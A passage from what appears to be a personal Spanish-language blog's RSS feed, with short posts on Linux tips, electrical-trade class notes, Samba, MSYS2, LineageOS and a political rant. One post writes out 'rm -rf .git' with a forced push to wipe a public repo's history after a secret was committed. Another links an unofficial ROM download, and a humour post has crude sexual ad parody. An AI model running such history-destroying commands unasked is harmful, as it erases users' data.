<td>La mayoría <strong>vota para parasitar</strong> (Social Security, Medicare, burócratas, abogados, etc.). <strong>El sistema ya no es productivo</strong>, es un <em>clown show</em>.</td>
</tr>
<tr>
<td><strong>“Would you bet on 100 CNC machines or 100 lawyers?”</strong></td>
<td><strong>La productividad real gana guerras</strong>, no los <em>trabajos de fantasía</em>.</td>
</tr>
</tbody>
</table>
<hr>
<h3 id="-la-tesis-implícita-de-la-imagen--texto">🎯 <strong>La tesis implícita de la imagen + texto</strong></h3>
<blockquote>
<p><strong>El problema no es la desigualdad de riqueza, sino la desigualdad de <em>productividad real</em>.</strong><br>
<strong>Y la democracia, una vez que más del 50% vive del Estado, ya no puede reformarse desde adentro.</strong></p>
-
Resumen instalación Aire Acondicionado
https://imlauera.github.io/resumen_aireacondicionado/
Thu, 13 Nov 2025 23:41:43 -0300
https://imlauera.github.io/resumen_aireacondicionado/
-
Disminuir distracciones
https://imlauera.github.io/distracciones/
Thu, 13 Nov 2025 21:32:37 -0300
https://imlauera.github.io/distracciones/
<ol>
<li>Usa solo la TTY en Linux.</li>
<li>Bloqueá el malware, las páginas de apuestas, la publicidad, la pornografía, etc con el archivo <a href="https://imlauera.github.io/etc_hosts">/etc/hosts</a>.</li>
<li>Configurá estos alias para desconectar tu Internet:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>alias focus<span style="color:#f92672">=</span><span style="color:#e6db74">'sudo systemctl stop NetworkManager; echo "Modo offline activado"'</span>
</span></span><span style="display:flex;"><span>alias unfocus<span style="color:#f92672">=</span><span style="color:#e6db74">'sudo systemctl start NetworkManager'</span>
</span></span></code></pre></div>
-
Terminal definition
https://imlauera.github.io/terminal_definition/
Wed, 12 Nov 2025 16:02:37 -0300
https://imlauera.github.io/terminal_definition/
<p>The tty is a terminal line connected to the terminal, on arch it’s done by getty, what people call a terminal is
a terminal emulator, and a shell is the command line interface most commonly used in both of those. You could do
virtually everything in a tty, but it’d be a pain without at least using a terminal multiplexer. Running
multiple things at once would be possible but it’s difficult to switch between things.</p>
-
Espeak habla cada tecla presionada TTY
https://imlauera.github.io/espeak/
Tue, 11 Nov 2025 01:13:14 -0300
https://imlauera.github.io/espeak/
<p><strong>Actualización</strong>: Actualmente ejecuto espeak y copio y pego el texto.</p>
<p><a href="https://wiki.archlinux.org/title/Install_Arch_Linux_with_accessibility_options">https://wiki.archlinux.org/title/Install_Arch_Linux_with_accessibility_options</a></p>
<p><a href="https://bbs.archlinux.org/viewtopic.php?id=280161">https://bbs.archlinux.org/viewtopic.php?id=280161</a></p>
<p><a href="https://wiki.archlinux.org/title/Accessibility#Troubleshooting">https://wiki.archlinux.org/title/Accessibility#Troubleshooting</a></p>
<p>Creo que era algo así no recuerdo bien.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>lsmod | grep speakup
</span></span><span style="display:flex;"><span>sudo /sbin/espeakup --default-voice<span style="color:#f92672">=</span>en
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo pacman --noconfirm -S espeakup
</span></span><span style="display:flex;"><span>sudo systemctl stop espeakup
</span></span><span style="display:flex;"><span>sudo systemctl enable espeakup
</span></span></code></pre></div><p>Y luego hay que reiniciar el sistema.</p>
<hr>
<p><code>espeakup</code> + <code>speakup</code> <em>can</em> echo keys as you type in a Linux TTY, but you must enable Speakup’s <strong>key echo</strong> function — espeakup alone doesn’t speak keystrokes.</p>
-
Humor: Típica página web consumista. Espeak y piper para leer textos.
https://imlauera.github.io/tipica_pagina_web_capitalista/
Sun, 09 Nov 2025 18:03:14 -0300
https://imlauera.github.io/tipica_pagina_web_capitalista/
<p>Crean contenido clickbaitero para atraer a la gente estúpida para que compre publicidad. Toda la publicidad es falsa.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span> ________________________________________________________________________
</span></span><span style="display:flex;"><span>| | | | | [X]|
</span></span><span style="display:flex;"><span>| ~!ENLARGE PENIS WITH SNAKE OIL!~ | | CSS | | Video AD |
</span></span><span style="display:flex;"><span>|__________________________________| | | | CONSOOOOOOOOOOOOO |
</span></span><span style="display:flex;"><span>| U.S. PRESIDENT ASSASINATED | BUG | | OOOOOOOOOOOM BICH |
</span></span><span style="display:flex;"><span>| | | |______________________|
</span></span><span style="display:flex;"><span>| Article unavailable in your country. | LOL | [make account or suffer]|
</span></span><span style="display:flex;"><span>| [log in to enable mouse scrolling] | | |
</span></span><span style="display:flex;"><span>| ___________________________________| |___ Prove you're a |
</span></span><span style="display:flex;"><span>| | |_______| | human, click all |
</span></span><span style="display:flex;"><span>| | We masturbate over your privacy <3 | images of type 2 |
</span></span><span style="display:flex;"><span>| | | quasars. |
</span></span><span style="display:flex;"><span>| | Consent with spying? | [*] [*] [*] [*] |
</span></span><span style="display:flex;"><span>| | _____ ______ | [*] [*] [*] [*] |
</span></span><span style="display:flex;"><span>| | | YES | | OK | | _________________ |
</span></span><span style="display:flex;"><span>| | """"" """""" |_ | FUCK MATURE MOMS||
</span></span><span style="display:flex;"><span>| |_______________________________________________| || IN 127.0.0.1 ||
</span></span><span style="display:flex;"><span>| | || CHAT NOW !!!1! ||
</span></span><span style="display:flex;"><span>| | Your browser is 2 seconds old, please update || ||
</span></span><span style="display:flex;"><span>| | to newest version to view this site. ||8000 NEW MESSAGES||
</span></span><span style="display:flex;"><span>| | || hi dear, I NEED ||
</span></span><span style="display:flex;"><span>| | PLEASE DISABLE ADBLOCK OR DIE || your cock ||
</span></span><span style="display:flex;"><span>|_____|______________________________________________||_________________||
</span></span></code></pre></div><p>Créditos: <a href="https://web.archive.org/web/20251027161132/https://www.tastyfish.cz/lrs/www.html">https://web.archive.org/web/20251027161132/https://www.tastyfish.cz/lrs/www.html</a></p>
-
Mirar Dislikes de YouTube desde la consola.
https://imlauera.github.io/returnyoutubedislikes/
Thu, 06 Nov 2025 21:16:47 -0300
https://imlauera.github.io/returnyoutubedislikes/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl https://returnyoutubedislikeapi.com/votes?videoId<span style="color:#f92672">=</span>bV9nP-E3hjE | jq .
</span></span></code></pre></div>
-
Electricidad / Clase 88: Clase Practica. Terminamos tablero de bombeo.
https://imlauera.github.io/electricidad88/
Wed, 05 Nov 2025 23:15:05 -0300
https://imlauera.github.io/electricidad88/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1otzqs75KDrj">https://vocaroo.com/1otzqs75KDrj</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-347-tablero">https://archive.org/details/record-347-tablero</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=AG-HA546x0Y">https://www.youtube.com/watch?v=AG-HA546x0Y</a></p>
<p>Termine este tablero le saque fotos pero no salieron.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWFNFixE2mtIW9yCsFBoTSfjeWOVks5pwJ6g7TQbzXfQzinaATyGc9sIeBCs-OM3O_HSGPCeIxgoXeV1UqyIY-skgoFle5lMp7PBpz4qOzXnljZJ8QgGxRkRL77jfFvMPTHmxrIH8kM8mHJwXsoZnC_lKzausiay6kwYKYONgOVK7fm5NhS6qS1gMDtqE/w368-h490/IMG_20251007_194100515.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSogzQiMRp_vAoRpmYwHN9AZDhsHHfz_Rn5OjSOiXfMlhQweAU15o9uvE61WySOyGBX0BcVulldtkgPaXP1wvJ9O_IgG9M5EnuITuAYFSmN3EKVcpE9F3782A72WJxGZy7Ljr-SZW6lAqrK39e9GPrnDp_qfSb1XSDhKc5devIWobW__4eJ7IgsjI1ob8/w371-h495/IMG_20251104_184402471.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEbblbieEec5XcLPHcZAMAKt0ALIgHN-rRXrN1hvNxASAayjWenwlnpZMGaj5sHtV0J5_LZbQrBeBcK_P4pfp5yLzExJAPzo0d1WgOIjlJl1JQie_O9wm9pgIF8AcTAY_ukOK_4X_M0crmQh2AFDcFEKzoe74ARTphBm5DfezDWdVLdgGBoJRbeq2cLzI/s4160/IMG_20251105_203728596.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpNf2f5tVYS0-eFRRibEySkmCGKwAxhM41TG2BmVOZB2cUELNG-zvimJZ950d5gkKm7YAIearUshoH6-y73w6Qt-z0b0IwhYlRB15nJUuim7jL858tFHrje65kir6af_s6Z8NPgpRFsznLpfkkUvLtLtucsYr5GR0rRDemyaSoxUcEjVGF5QYfsu2b6Ng/s4160/IMG_20251105_203738104.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKafW1XbPWwIGobfDgyaEQKG7mbkw820nV295qxskdQKnyY2cv12x2VlGjRsI5mUZvvFOOqYa0Fqejcy9TR6jLVwEHq3YYQLmHxebXpO9L22BR-j8lmTFBusKaF0SfmeKUR1RSGLt5HUDZYlZ8HVHMSF-HQSeJVNk4zUkPxKcV3cK9WIr_5aPYZbbh5lo/s4160/IMG_20251105_203758221_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTEzFHi68UdXma4iD2B6lsPLco9pVKgPoVCO1M5mJfwF0EtXE6wRmy80oG_X26uBUy2PdKqaPhmw0UtBGVVuY2-cwov8mUYp2sfVivWWtHciSTswe_DupgdGPF_C8eJh2sCRXSrTJ03BkBKpzxfT4ov_Zsx-g1-phgLRlaM3cE40sU3MDb095qWEM7jyM/s4160/IMG_20251105_203758221_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvt-iJLnXI17caUpILC2PbMT0zGVLNuqoPejhj0osHEne-V242lxdovwlfXq1shSHys0WfAtKDy5Zr0R04TSN7M3hAJm10a9HP-pVRoQjhEHVy__bqJYuayKieEkOsOTPOeIzbmys59BAv5SPSckwUQDZB4GX86N_Yds8ru9u5hWHmkSQYvjGQCphOCWc/s4160/IMG_20251105_203822627.jpg" alt=""></p>
<p>Aca se ve en una foto del tablero mio al fondo.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcdzf9S_yvrozk6yKxqEDLOh82qGcF-iy-PJF390P0oDrlSQ-VCcilJd06duFEmC0bTBk2ZhhinHp9jb6OFXWLLSplR_mAtZ31AtGkCCSWfua0S3yxJIXnykUAqOkRQBfWQRONaglz7jNQMHNI7c6BVKprhCv0ts9g3O-zS6ozOk48svZ7jPc5Cl98jkU/s4160/IMG-20251105-WA0001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9Ebv2Bi2UObobs462o3BDQfBWgbQcsONYlxJco7E_JschPMVelnzl6ijPFYe58MV3CFugUG2lvAwBApfupXMoh3BQZrSdsxoRDyhpmwTYDzScec-qHIwx2ss5dAlhwMqBiFnEIB_GMlqfJcb76KT-FOXCIakt_0BDwiT9YCre_kT-8TdgOz4D09lA3TE/s4160/IMG-20251105-WA0002.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI6lh-xR3OAG53aUg_iTgD4tMMeAF2KLs4mmFQgwmRqTTDBs7LbPsrR6w_U_MpUp86K0VRRPT_3TRBD6kIDEjMrf2TaYU0rm2yONDVqm-msVkXqbhYs_4kC0fxH8mqPavMCRx6xKWbGP6aHW6GneELkZzScyL_UXgmLrxC7Aw6_IeiVRVCF3eYVDQ17fA/s4160/IMG-20251105-WA0003.jpg" alt=""></p>
-
Electricidad / Clase 87: Desarmamos enchufe aire acondicionado para agregar un cable extension, luego rearmamos el enchufe. Recomendación: dejar uno más largo que el otro para evitar que queden al mismo nivel (seguridad y mejor contacto). El enchufe ya no era el original.
https://imlauera.github.io/electricidad87/
Tue, 04 Nov 2025 23:12:28 -0300
https://imlauera.github.io/electricidad87/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1eUHCL73Whc4">https://voca.ro/1eUHCL73Whc4</a></p>
<h5 id="audio-en-archive">Audio en Archive:</h5>
<p><a href="https://archive.org/details/record-341">https://archive.org/details/record-341</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=YyStr-OuXXM">https://www.youtube.com/watch?v=YyStr-OuXXM</a></p>
<p>Nos costo armar el enchufe y los empalmes porque el cable era grueso a comparación del otro y no entraba en la chapita del enchufe.</p>
<h3 id="observación">Observación:</h3>
<p>Todos los enchufes originales vienen sellados, este no estaba sellado lo desarmamos y parecía que el cable era de 1,5mm^2. Ya tocó otra persona.</p>
<p>Lo ideal seria abrir la caja en donde esta atornillado el cable ese y cambiar de ahí, el cable dentro del aire que viene desde afuera desde el condensador. Todos los enchufes son sellados si tengo que poner un alargue tengo que cortar si o si.</p>
-
Maximo entre 2 numeros en brainfuck
https://imlauera.github.io/maximo_2_numeros_brainfuck/
Tue, 04 Nov 2025 06:44:20 -0300
https://imlauera.github.io/maximo_2_numeros_brainfuck/
<p>Cogida de cerebro.</p>
<p>Brainfuck es un lenguaje de programación esotérico que no contiene palabras, está muy cerca a ASM, más cerca que C.</p>
<h4 id="instalación">Instalación</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S brainfuck
</span></span><span style="display:flex;"><span>yay -Ql brainfuck
</span></span></code></pre></div><p>To find the maximum between two numbers in Brainfuck, you can use a simple comparison algorithm. Brainfuck is a minimalist language with only eight commands, so the code will be quite straightforward but might look unusual compared to more conventional programming languages.</p>
-
Electricidad / Clase 86: [FOTOCOPIA] Relé térmico, guardamotor, cómo calcular contactor. Pasar HP a watts. En interruptores tetrapolares cualquiera de los bornes puede ser el neutro. Taller de Excel: cálculo de presupuestos.
https://imlauera.github.io/electricidad86/
Tue, 04 Nov 2025 05:32:36 -0300
https://imlauera.github.io/electricidad86/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/19V02Lvzt8Ih">https://voca.ro/19V02Lvzt8Ih</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-335">https://archive.org/details/record-335</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=OmIXyvF7lU8">https://www.youtube.com/watch?v=OmIXyvF7lU8</a></p>
<p>No escribimos nada en el pizarrón, pero saqué la foto del pizarrón y lo agregué a la clase anterior: <a href="https://imlauera.github.io/electricidad85">https://imlauera.github.io/electricidad85</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrM5FfwUZuAEN3ytvGt3vYGHrNK5To7eoPuYts7cMhuG1kLgDn8ezQiU7ACOsk3PvmWDT3i8gMGk1JmLPFnPCqUSQ7pmzspofN6YM1S63nhfdU4BwJUzQIvJN5h_9LPji6ApfnQ23fDndCkyVIYMyJbSznKsFTVtXcYMhQzYBtNmpL73d2YMGGyMH_FXc/s4160/IMG_20251103_182803685.jpg" alt=""></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgXK2oudu5-AHyJOoaQ3V7DSkZIN1ZAl9YIxICrL4MP03NQg4nyMGKfHm-lZWOWGsnkTzhCwXdKke3pZZK5WXW7mMNTJSw7kDuVvDB8jgxfWuLWqSd_hPGihFDbeFq2HAC7uON6921X08m2Q9fX6B_gnku2Vw4gtp133U578NpOcp8zDmrJtLmjUz_III/s4160/IMG_20251103_184404361.jpg" alt=""></p>
-
Electricidad / Clase 85: [FOTO PIZARRÓN] Estuve ausente. Videos enviados al grupo: Trafo si o no en tablero de bombas. El rele termico. Leer una placa de bomba de agua. Y como limpiar un contactor que hace ruido.
https://imlauera.github.io/electricidad85/
Mon, 03 Nov 2025 17:36:25 -0300
https://imlauera.github.io/electricidad85/
<p>Estuve ausente.</p>
<p>Fui la próxima clase y le saqué una foto al pizarrón.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrM5FfwUZuAEN3ytvGt3vYGHrNK5To7eoPuYts7cMhuG1kLgDn8ezQiU7ACOsk3PvmWDT3i8gMGk1JmLPFnPCqUSQ7pmzspofN6YM1S63nhfdU4BwJUzQIvJN5h_9LPji6ApfnQ23fDndCkyVIYMyJbSznKsFTVtXcYMhQzYBtNmpL73d2YMGGyMH_FXc/s4160/IMG_20251103_182803685.jpg" alt=""></p>
<p>Mirá <a href="https://cursoelectricidad.github.io/86clase.html">https://cursoelectricidad.github.io/86clase.html</a> en donde subí archivos enviados a través de WhatsApp.</p>
<hr>
<p>Resubí los videos a YouTube porque Facebook es horrible de usar.</p>
<h3 id="videos-enviados-por-profesor">Videos enviados por Profesor:</h3>
<p>Trafo si o no en tablero de bombas: <a href="https://www.youtube.com/watch?v=IFZKViaZKCo">https://www.youtube.com/watch?v=IFZKViaZKCo</a> - <a href="https://www.facebook.com/share/v/1A4v3tK7xN/">https://www.facebook.com/share/v/1A4v3tK7xN/</a></p>
<p>El rele termico: <a href="https://www.youtube.com/watch?v=ax_-Kt9x7gk">https://www.youtube.com/watch?v=ax_-Kt9x7gk</a> - <a href="https://www.facebook.com/reel/1520938135569746">https://www.facebook.com/reel/1520938135569746</a></p>
<p>Leer una placa de bomba de agua: <a href="https://www.youtube.com/watch?v=ZfmGW8VyLYY">https://www.youtube.com/watch?v=ZfmGW8VyLYY</a> - <a href="https://www.facebook.com/share/v/14REfSk4oTd/">https://www.facebook.com/share/v/14REfSk4oTd/</a></p>
<h3 id="video-enviado-por-alumno">Video enviado por alumno:</h3>
<p>Contactor con ruido: <a href="https://www.youtube.com/watch?v=Krx5T8di5BM">https://www.youtube.com/watch?v=Krx5T8di5BM</a> - <a href="https://www.facebook.com/share/v/1K6dj5T6mC/">https://www.facebook.com/share/v/1K6dj5T6mC/</a></p>
<h4 id="descargue-los-subtitulos-de-los-3-videos-enviados-por-el-profesor-y-le-pedi-a-chatgpt-que-me-haga-un-resumen">Descargue los subtitulos de los 3 videos enviados por el profesor y le pedi a ChatGPT que me haga un resumen.</h4>
<h3 id="relé-térmico-bimetálico"><strong>Relé térmico bimetálico</strong></h3>
<ul>
<li>
<p>Función principal: proteger motores eléctricos contra sobrecargas.</p>
-
Electricidad / Clase 84: Estuve ausente, creo que fue una clase práctica de fotocélulas.
https://imlauera.github.io/electricidad84/
Mon, 03 Nov 2025 17:36:22 -0300
https://imlauera.github.io/electricidad84/
<p>Estuve ausente.</p>
<p>Por WhatsApp me llegó esta imagen.</p>
<p><a href="https://ia600406.us.archive.org/14/items/electricidad_85/IMG-20251029-WA0000.jpg"><img src="https://ia600406.us.archive.org/14/items/electricidad_85/IMG-20251029-WA0000_thumb.jpg" alt=""></a>
<a href="https://ia600406.us.archive.org/14/items/electricidad_85/IMG-20251029-WA0001.jpg"><img src="https://ia600406.us.archive.org/14/items/electricidad_85/IMG-20251029-WA0001_thumb.jpg" alt=""></a></p>
-
Electricidad / Clase 83: Ausente.
https://imlauera.github.io/electricidad83/
Mon, 03 Nov 2025 17:36:18 -0300
https://imlauera.github.io/electricidad83/
<p>Estuve ausente.</p>
<p>No sé que dieron esta clase.</p>
-
Msys2 windows
https://imlauera.github.io/msys2_windows/
Mon, 03 Nov 2025 17:27:43 -0300
https://imlauera.github.io/msys2_windows/
<p>Yo nunca usaría Windows pero cuando tengo que usarlo uso msys2</p>
<p>Instale esto en Windows 10 me pareció interesante: <a href="https://www.msys2.org/">https://www.msys2.org/</a></p>
<p>Tiene <code>pacman</code> instale <code>w3m</code> y <code>vim</code> y puse <code>mpv</code> como mi navegador por defecto (no instalé <code>mpv</code> desde <code>msys2</code> con <code>pacman</code>), <code>mpv</code> ya lo tenia de antes con <code>yt-dlp</code> y con esta configuración:</p>
<p>Establecí <code>/c/Mpv/mpv.exe</code> como navegador externo en <code>w3m</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cd /c/Users/ttt/AppData/Roaming/mpv/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ttt@LIVING UCRT64 /c/Users/ttt/AppData/Roaming/mpv
</span></span><span style="display:flex;"><span>$ dir
</span></span><span style="display:flex;"><span>mpv.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ttt@LIVING UCRT64 /c/Users/ttt/AppData/Roaming/mpv
</span></span><span style="display:flex;"><span>$ cat mpv.conf
</span></span><span style="display:flex;"><span>--ytdl-raw-options<span style="color:#f92672">=</span><span style="color:#e6db74">"format=bestvideo[height<=?720]+bestaudio/best[height<=?720]/bestvideo[height<=?720]+bestaudio/best[height<=?720],write-auto-sub=,sub-lang=[en,ru],write-sub="</span>
</span></span></code></pre></div><p>Lo anclé a la barra de tareas. (No uso Windows ni lo tengo instalado en mi computadora).</p>
-
Montar SAMBA Windows
https://imlauera.github.io/montar_samba_windows/
Mon, 03 Nov 2025 17:26:34 -0300
https://imlauera.github.io/montar_samba_windows/
<p>Montar servidor directorio de SAMBA de Linux en Windows.</p>
<p>Abrí <code>cmd</code> como administrador y ejecuta estos comandos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>net use * /delete /y
</span></span><span style="display:flex;"><span>net session /delete /y
</span></span></code></pre></div><p>Luego como <strong>NO ADMINISTRADOR</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>net use Z: <span style="color:#ae81ff">\\</span>192.168.0.48<span style="color:#ae81ff">\s</span>amba /user:esotericwarfare
</span></span></code></pre></div><p>Ahora podras ver el “disco” Z: en This PC.</p>
<p>Luego para limpiar las conexiones:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>net use * /delete /y
</span></span><span style="display:flex;"><span>net session /delete /y
</span></span></code></pre></div>
-
Resolving blocked push
https://imlauera.github.io/resolving_blocked_push/
Mon, 03 Nov 2025 07:46:47 -0300
https://imlauera.github.io/resolving_blocked_push/
<p><a href="https://docs.github.com/en/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line#removing-a-secret-introduced-by-the-latest-commit-on-your-branch">https://docs.github.com/en/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line#removing-a-secret-introduced-by-the-latest-commit-on-your-branch</a></p>
<p>Al final terminé haciendo un <code>cd public && rm -rf .git && git remote add origin github.com:imlauera/imlauera.github.io && git add . && git commit -m "chau historial" && git push --force</code> pero del repositorio público lol.</p>
-
Deshabilitar Google News
https://imlauera.github.io/deshabilitar_google_news/
Mon, 03 Nov 2025 06:55:57 -0300
https://imlauera.github.io/deshabilitar_google_news/
<p>Lo mejor sería instalar Lineage OS o Graphene OS.</p>
<p>O sería mejor tener un dumbphone en vez de un “smartphone”.</p>
<p>Ve a la página de las “noticias”.
<strong>Toca tu foto de perfil</strong> en la esquina superior derecha.
<strong>Selecciona “Configuración”</strong> de Discover y deshabilitá eso.</p>
<p>Aca te enseño como instalar Lineage OS: <a href="https://imlauer.blogspot.com/2024/10/instalar-nethunt-kali-en-android-60-xd.html">https://imlauer.blogspot.com/2024/10/instalar-nethunt-kali-en-android-60-xd.html</a> <a href="https://imlauer.blogspot.com/2024/10/alpine-en-android.html">https://imlauer.blogspot.com/2024/10/alpine-en-android.html</a></p>
<p>Si no entendes busca videos o armate de paciencia hacelo tranquilo o podes brickear tu celular.</p>
<p><a href="https://xdaforums.com/t/rom-7-1-x-official-lineageos-14-1-nightly.3534711/">https://xdaforums.com/t/rom-7-1-x-official-lineageos-14-1-nightly.3534711/</a></p>
<p>Instala lineageos 15: <a href="https://www.mediafire.com/file/e5m24eb74x0x3wt/lineage-15.1-20190202-UNOFFICIAL-osprey.zip/file">https://www.mediafire.com/file/e5m24eb74x0x3wt/lineage-15.1-20190202-UNOFFICIAL-osprey.zip/file</a></p>
-
Buscar todos los mp4 y reproducirlos con mp4
https://imlauera.github.io/buscar_todo_mp4_y_mpv/
Sun, 02 Nov 2025 15:36:49 -0300
https://imlauera.github.io/buscar_todo_mp4_y_mpv/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find . -type f -name <span style="color:#e6db74">"*.mp4"</span> -exec mpv <span style="color:#f92672">{}</span> <span style="color:#ae81ff">\;</span>
</span></span></code></pre></div><p>Si estas mirando un video con MPV podes cerrar el video y solo reproducir el audio cambiando el track a audio apretando: <code>g t</code> o simplemente <code>_</code> (guion bajo).</p>
-
Debug crashing binary en Windows con WinDbg
https://imlauera.github.io/debug_crashing_exe/
Sun, 02 Nov 2025 14:49:49 -0300
https://imlauera.github.io/debug_crashing_exe/
<h5 id="al-final-era-el-audio-que-no-estaba-conectado-por-eso-el-juego-richard-burns-rally-crasheaba-nada-que-ver-todo-lo-demas">Al final era el audio que no estaba conectado por eso el juego Richard Burns Rally crasheaba nada que ver todo lo demas.</h5>
<h5 id="conectamos-un-auricular-al-puerto-trasero-de-la-pc-y-el-juego-funcionó-y-estaba-mal-la-resolución-tenías-que-configurar-desde-el-2do-launcher-que-estaba-en-la-carpeta">Conectamos un auricular al puerto trasero de la PC y el juego funcionó y estaba mal la resolución tenías que configurar desde el 2do launcher que estaba en la carpeta.</h5>
<p>Cuando iniciamos el juego se creo un archivo CRASHDUMP pero esto lo hizo despues que instalemos Windbg se creo un archivo parecido al que dice este video:</p>
-
Conectarse a un servidor XMPP desde la consola
https://imlauera.github.io/xmpp_server/
Sun, 02 Nov 2025 11:28:48 -0300
https://imlauera.github.io/xmpp_server/
<p>Usando profanity.</p>
<h1 id="1-install-a-cli-xmpp-client">1️⃣ Install a CLI XMPP client</h1>
<p>Popular CLI clients:</p>
<table>
<thead>
<tr>
<th>Client</th>
<th>Install on Arch</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>profanity</strong></td>
<td><code>sudo pacman -S profanity</code></td>
<td>Full-featured, supports OMEMO, commands are simple</td>
</tr>
<tr>
<td><strong>mcabber</strong></td>
<td><code>sudo pacman -S mcabber</code></td>
<td>Very minimal, uses <code>.mcabberrc</code> for config</td>
</tr>
<tr>
<td><strong>finch</strong></td>
<td><code>sudo pacman -S finch</code></td>
<td>Console version of Pidgin, supports accounts</td>
</tr>
</tbody>
</table>
<p>We’ll use <strong>profanity</strong> here — easiest for first-time setup.</p>
<hr>
<h1 id="2-start-profanity">2️⃣ Start profanity</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>profanity
</span></span></code></pre></div><p>You’ll enter the interactive CLI:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>profanity v0.xx
</span></span><span style="display:flex;"><span>Type /help for commands
</span></span><span style="display:flex;"><span>>
</span></span></code></pre></div><hr>
<h1 id="3-create-an-account-in-band-registration">3️⃣ Create an account (in-band registration)</h1>
<p>Inside profanity:</p>
-
Download entire site and generate a PDF from HTML
https://imlauera.github.io/generate_pdf_from_html/
Sun, 02 Nov 2025 11:22:05 -0300
https://imlauera.github.io/generate_pdf_from_html/
<p>Descargue todo un blog de Jekyll con el siguiente comando:</p>
<h2 id="1-mirror-the-site-locally"><strong>1️⃣ Mirror the site locally</strong></h2>
<p>Use <code>wget</code> to download all pages, CSS, and images:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir geohot
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://geohot.github.io/blog/
